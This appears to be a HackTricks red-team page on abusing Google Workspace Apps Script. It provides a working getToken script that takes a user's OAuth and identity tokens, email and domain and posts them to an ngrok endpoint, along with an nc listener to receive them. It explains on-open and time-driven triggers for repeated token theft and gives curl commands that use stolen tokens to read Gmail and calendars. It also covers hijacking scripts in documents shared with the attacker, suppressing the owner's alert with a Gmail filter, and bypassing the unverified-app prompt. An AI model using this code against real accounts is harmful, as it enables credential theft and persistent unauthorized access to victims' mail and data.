GWS - App Scripts
Reading time: 8 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
App Scripts
App Scripts is code that will be triggered when a user with editor permission access the doc the App Script is linked with and after accepting the OAuth prompt.
They can also be set to be executed every certain time by the owner of the App Script (Persistence).
Create App Script
There are several ways to create an App Script, although the most common ones are from a Google Document (of any type) and as a standalone project:
Create a container-bound project from Google Docs, Sheets, or Slides
- Open a Docs document, a Sheets spreadsheet, or Slides presentation.
- Click Extensions > Google Apps Script.
- In the script editor, click Untitled project.
- Give your project a name and click Rename.
Create a standalone project
To create a standalone project from Apps Script:
- Go to
script.google.com
. - Click add New Project.
- In the script editor, click Untitled project.
- Give your project a name and click Rename.
Create a standalone project from Google Drive
- Open Google Drive.
- Click New > More > Google Apps Script.
Create a container-bound project from Google Forms
- Open a form in Google Forms.
- Click More more_vert > Script editor.
- In the script editor, click Untitled project.
- Give your project a name and click Rename.
Create a standalone project using the clasp command line tool
clasp
is a command line tool that allows you create, pull/push, and deploy Apps Script projects from a terminal.
See the Command Line Interface using clasp
guide for more details.
App Script Scenario
Create Google Sheet with App Script
Start by crating an App Script, my recommendation for this scenario is to create a Google Sheet and go to Extensions > App Scripts
, this will open a new App Script for you linked to the sheet.
Leak token
In order to give access to the OAuth token you need to click on Services +
and add scopes like:
- AdminDirectory: Access users and groups of the directory (if the user has enough permissions)
- Gmail: To access gmail data
- Drive: To access drive data
- Google Sheets API: So it works with the trigger
To change yourself the needed scopes you can go to project settings and enable: Show "appsscript.json" manifest file in editor
.
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()
// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}
// Send data
makePostRequest(data)
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})
// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)
// To ask for drive permissions
var files = DriveApp.getFiles()
}
function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"
var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}
try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}
To capture the request you can just run:
ngrok tcp 4444
nc -lv 4444 #macOS
Permissions requested to execute the App Script:
warning
As an external request is made the OAuth prompt will also ask to permission to reach external endpoints.
Create Trigger
Once the App is read, click on ⏰ Triggers to create a trigger. As function ro tun choose getToken
, runs at deployment Head
, in event source select From spreadsheet
and event type select On open
or On edit
(according to your needs) and save.
Note that you can check the runs of the App Scripts in the Executions tab if you want to debug something.
Sharing
In order to trigger the App Script the victim needs to connect with Editor Access.
tip
The token used to execute the App Script will be the one of the creator of the trigger, even if the file is opened as Editor by other users.
Abusing Shared With Me documents
caution
If someone shared with you a document with App Scripts and a trigger using the Head of the App Script (not a fixed deployment), you can modify the App Script code (adding for example the steal token functions), access it, and the App Script will be executed with the permissions of the user that shared the document with you! (note that the owners OAuth token will have as access scopes the ones given when the trigger was created).
A notification will be sent to the creator of the script indicating that someone modified the script (What about using gmail permissions to generate a filter to prevent the alert?)
tip
If an attacker modifies the scopes of the App Script the updates won't be applied to the document until a new trigger with the changes is created. Therefore, an attacker won't be able to steal the owners creator token with more scopes than the one he set in the trigger he created.
Copying instead of sharing
When you create a link to share a document a link similar to this one is created: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit
If you change the ending "/edit" for "/copy", instead of accessing it google will ask you if you want to generate a copy of the document:
If the user copies it an access it both the contents of the document and the App Scripts will be copied, however the triggers are not, therefore nothing will be executed.
Sharing as Web Application
Note that it's also possible to share an App Script as a Web application (in the Editor of the App Script, deploy as a Web application), but an alert such as this one will appear:
Followed by the typical OAuth prompt asking for the needed permissions.
Testing
You can test a gathered token to list emails with:
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"
List calendar of the user:
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
App Script as Persistence
One option for persistence would be to create a document and add a trigger for the the getToken function and share the document with the attacker so every-time the attacker opens the file he exfiltrates the token of the victim.
It's also possible to create an App Script and make it trigger every X time (like every minute, hour, day...). An attacker that has compromised credentials or a session of a victim could set an App Script time trigger and leak a very privileged OAuth token every day:
Just create an App Script, go to Triggers, click on Add Trigger, and select as event source Time-driven and select the options that better suits you:
caution
This will create a security alert email and a push message to your mobile alerting about this.
Shared Document Unverified Prompt Bypass
Moreover, if someone shared with you a document with editor access, you can generate App Scripts inside the document and the OWNER (creator) of the document will be the owner of the App Script.
warning
This means, that the creator of the document will appear as creator of any App Script anyone with editor access creates inside of it.
This also means that the App Script will be trusted by the Workspace environment of the creator of the document.
caution
This also means that if an App Script already existed and people have granted access, anyone with Editor permission on the doc can modify it and abuse that access.
To abuse this you also need people to trigger the App Script. And one neat trick if to publish the script as a web app. When the people that already granted access to the App Script access the web page, they will trigger the App Script (this also works using <img>
tags).
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.